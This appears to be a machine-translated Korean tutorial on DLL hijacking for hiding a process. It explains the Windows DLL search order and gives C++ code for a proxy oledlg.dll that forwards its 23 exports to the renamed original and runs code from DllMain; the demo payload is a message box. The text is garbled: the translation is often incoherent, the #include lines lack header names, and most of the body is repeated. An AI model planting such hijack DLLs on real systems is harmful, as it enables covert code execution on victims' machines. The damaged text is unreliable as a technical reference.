프로세스 숨김: DLL 협착 프로세스 숨김
11210 단어 안전 공방 기술
DLL 스텔스 프로세스
실현 원리
dll 협박의 목적은 여기서 숨겨진 과정이 틀림없다. 다음은 실현 원리를 이해하기만 하면 된다.프로그램이 실행될 때, 보통 많은 DLL 파일을 불러옵니다. 따라서 만약 우리가 시스템을 호출할 수 있도록 dll을 위조할 수 있다면, 프로그램은 무엇을 해야 하는지, 무엇을 해야 하는지, 그러나 그 안의 일부 물건들은 실제로 우리가 변경했습니다.우리의 함수를 실행할 수만 있다면, 우리는 프로세스가 숨기는 목적을 달성할 수 있다.
납치 방법:
프로세스가 DLL을 불러오려고 시도할 때, DLL의 절대 경로가 지정되지 않으면, Windows는 지정한 디렉터리에서 이 dll을 찾으려고 시도합니다. 만약 공격자가 그 중의 어떤 디렉터리를 제어하고 악의적인 dll 파일을 이 디렉터리에 놓으면, 이 악의적인 dll는 프로세스에 불러오고, 프로세스가 dll의 악성코드, 즉 dll 납치라는 것을 실행합니다.
로드 순서
Windows 로더가 실행 가능한 모듈의 입력표를 분석할 때 입력표는 dll 이름만 있고 경로가 없다. 윈도우즈 검색 dll 순서는 다음과 같다. 프로그램이 있는 디렉터리->시스템 디렉터리->16비트 시스템 디렉터리->윈도우즈 디렉터리->현재 디렉터리->PATH 환경 변수 중의 각 디렉터리
주의 사항
우리는 먼저 원래의 dll와 같은 이름의 dll을 위조하여 같은 출력표를 제공하고 모든 함수가 진정한 시스템 dll을 가리키도록 해야 한다.여기에는 두 가지 방법이 있다.
방식1: DLL 함수를 모든 예처리 명령에 직접 전달한다. #pragma 명령은 컴파일러의 상태를 설정하거나 컴파일러가 특정한 동작을 완성하도록 지시하고 다음 명령을 통해 전달 함수를 완성하는 작업이다.#pragma comment(linker,"/EXPORT:entryname[,@ordinal[,NONAME]][,DATA]")
/EXPORT , , , . ,
entryname .
ordinal 1-65535 , ordinal, .
NONAME , entryname.
DATA , extern__declspec(dllimport)
메서드2: DLL 함수 호출
LoadLibrary와 GetProcAddress 함수를 사용하여 함수 주소를 가져오고 실행을 전환합니다.extern "C" void __declspec(naked) MessageBoxATest()
{
PVOID pAddr=NULL;
HMODULE hDll=LoadLibraryA("C:\\Windows\\System32\\user32.dll");
if(NULL != hDll)
{
pAddr=GetProcAddress(hDll,"MessageBoxA");
if(pAddr)
{
_asm jmp pAddr
}
FreeLibrary(hDll);
}
}
코드 구현:
oledlg를 납치하다.dll을 예로 들면, 여기는 전송 함수법을 사용합니다.// dllmain.cpp : DLL 。
#include
#define WIN32_LEAN_AND_MEAN // Windows
// Windows
#include
#pragma comment(lib,"User32.lib")
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
::MessageBoxA(NULL, "DLL ", "Qz", MB_OK | MB_ICONWARNING);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
//
#pragma comment(linker, "/EXPORT:OleUIAddVerbMenuA=Old_oledlg.OleUIAddVerbMenuA")
#pragma comment(linker, "/EXPORT:OleUICanConvertOrActivateAs=Old_oledlg.OleUICanConvertOrActivateAs")
#pragma comment(linker, "/EXPORT:OleUIInsertObjectA=Old_oledlg.OleUIInsertObjectA")
#pragma comment(linker, "/EXPORT:OleUIPasteSpecialA=Old_oledlg.OleUIPasteSpecialA")
#pragma comment(linker, "/EXPORT:OleUIEditLinksA=Old_oledlg.OleUIEditLinksA")
#pragma comment(linker, "/EXPORT:OleUIChangeIconA=Old_oledlg.OleUIChangeIconA")
#pragma comment(linker, "/EXPORT:OleUIConvertA=Old_oledlg.OleUIConvertA")
#pragma comment(linker, "/EXPORT:OleUIBusyA=Old_oledlg.OleUIBusyA")
#pragma comment(linker, "/EXPORT:OleUIUpdateLinksA=Old_oledlg.OleUIUpdateLinksA")
#pragma comment(linker, "/EXPORT:OleUIPromptUserA=Old_oledlg.OleUIPromptUserA")
#pragma comment(linker, "/EXPORT:OleUIObjectPropertiesA=Old_oledlg.OleUIObjectPropertiesA")
#pragma comment(linker, "/EXPORT:OleUIChangeSourceA=Old_oledlg.OleUIChangeSourceA")
#pragma comment(linker, "/EXPORT:OleUIAddVerbMenuW=Old_oledlg.OleUIAddVerbMenuW")
#pragma comment(linker, "/EXPORT:OleUIBusyW=Old_oledlg.OleUIBusyW")
#pragma comment(linker, "/EXPORT:OleUIChangeIconW=Old_oledlg.OleUIChangeIconW")
#pragma comment(linker, "/EXPORT:OleUIChangeSourceW=Old_oledlg.OleUIChangeSourceW")
#pragma comment(linker, "/EXPORT:OleUIConvertW=Old_oledlg.OleUIConvertW")
#pragma comment(linker, "/EXPORT:OleUIEditLinksW=Old_oledlg.OleUIEditLinksW")
#pragma comment(linker, "/EXPORT:OleUIInsertObjectW=Old_oledlg.OleUIInsertObjectW")
#pragma comment(linker, "/EXPORT:OleUIObjectPropertiesW=Old_oledlg.OleUIObjectPropertiesW")
#pragma comment(linker, "/EXPORT:OleUIPasteSpecialW=Old_oledlg.OleUIPasteSpecialW")
#pragma comment(linker, "/EXPORT:OleUIPromptUserW=Old_oledlg.OleUIPromptUserW")
#pragma comment(linker, "/EXPORT:OleUIUpdateLinksW=Old_oledlg.OleUIUpdateLinksW")
//23
우리는 먼저 원래의 dll와 같은 이름의 dll을 위조하여 같은 출력표를 제공하고 모든 함수가 진정한 시스템 dll을 가리키도록 해야 한다.여기에는 두 가지 방법이 있다.
방식1: DLL 함수를 모든 예처리 명령에 직접 전달한다. #pragma 명령은 컴파일러의 상태를 설정하거나 컴파일러가 특정한 동작을 완성하도록 지시하고 다음 명령을 통해 전달 함수를 완성하는 작업이다.
#pragma comment(linker,"/EXPORT:entryname[,@ordinal[,NONAME]][,DATA]")
/EXPORT , , , . ,
entryname .
ordinal 1-65535 , ordinal, .
NONAME , entryname.
DATA , extern__declspec(dllimport)
메서드2: DLL 함수 호출
LoadLibrary와 GetProcAddress 함수를 사용하여 함수 주소를 가져오고 실행을 전환합니다.
extern "C" void __declspec(naked) MessageBoxATest()
{
PVOID pAddr=NULL;
HMODULE hDll=LoadLibraryA("C:\\Windows\\System32\\user32.dll");
if(NULL != hDll)
{
pAddr=GetProcAddress(hDll,"MessageBoxA");
if(pAddr)
{
_asm jmp pAddr
}
FreeLibrary(hDll);
}
}
코드 구현:
oledlg를 납치하다.dll을 예로 들면, 여기는 전송 함수법을 사용합니다.
// dllmain.cpp : DLL 。
#include
#define WIN32_LEAN_AND_MEAN // Windows
// Windows
#include
#pragma comment(lib,"User32.lib")
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
::MessageBoxA(NULL, "DLL ", "Qz", MB_OK | MB_ICONWARNING);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
//
#pragma comment(linker, "/EXPORT:OleUIAddVerbMenuA=Old_oledlg.OleUIAddVerbMenuA")
#pragma comment(linker, "/EXPORT:OleUICanConvertOrActivateAs=Old_oledlg.OleUICanConvertOrActivateAs")
#pragma comment(linker, "/EXPORT:OleUIInsertObjectA=Old_oledlg.OleUIInsertObjectA")
#pragma comment(linker, "/EXPORT:OleUIPasteSpecialA=Old_oledlg.OleUIPasteSpecialA")
#pragma comment(linker, "/EXPORT:OleUIEditLinksA=Old_oledlg.OleUIEditLinksA")
#pragma comment(linker, "/EXPORT:OleUIChangeIconA=Old_oledlg.OleUIChangeIconA")
#pragma comment(linker, "/EXPORT:OleUIConvertA=Old_oledlg.OleUIConvertA")
#pragma comment(linker, "/EXPORT:OleUIBusyA=Old_oledlg.OleUIBusyA")
#pragma comment(linker, "/EXPORT:OleUIUpdateLinksA=Old_oledlg.OleUIUpdateLinksA")
#pragma comment(linker, "/EXPORT:OleUIPromptUserA=Old_oledlg.OleUIPromptUserA")
#pragma comment(linker, "/EXPORT:OleUIObjectPropertiesA=Old_oledlg.OleUIObjectPropertiesA")
#pragma comment(linker, "/EXPORT:OleUIChangeSourceA=Old_oledlg.OleUIChangeSourceA")
#pragma comment(linker, "/EXPORT:OleUIAddVerbMenuW=Old_oledlg.OleUIAddVerbMenuW")
#pragma comment(linker, "/EXPORT:OleUIBusyW=Old_oledlg.OleUIBusyW")
#pragma comment(linker, "/EXPORT:OleUIChangeIconW=Old_oledlg.OleUIChangeIconW")
#pragma comment(linker, "/EXPORT:OleUIChangeSourceW=Old_oledlg.OleUIChangeSourceW")
#pragma comment(linker, "/EXPORT:OleUIConvertW=Old_oledlg.OleUIConvertW")
#pragma comment(linker, "/EXPORT:OleUIEditLinksW=Old_oledlg.OleUIEditLinksW")
#pragma comment(linker, "/EXPORT:OleUIInsertObjectW=Old_oledlg.OleUIInsertObjectW")
#pragma comment(linker, "/EXPORT:OleUIObjectPropertiesW=Old_oledlg.OleUIObjectPropertiesW")
#pragma comment(linker, "/EXPORT:OleUIPasteSpecialW=Old_oledlg.OleUIPasteSpecialW")
#pragma comment(linker, "/EXPORT:OleUIPromptUserW=Old_oledlg.OleUIPromptUserW")
#pragma comment(linker, "/EXPORT:OleUIUpdateLinksW=Old_oledlg.OleUIUpdateLinksW")
//23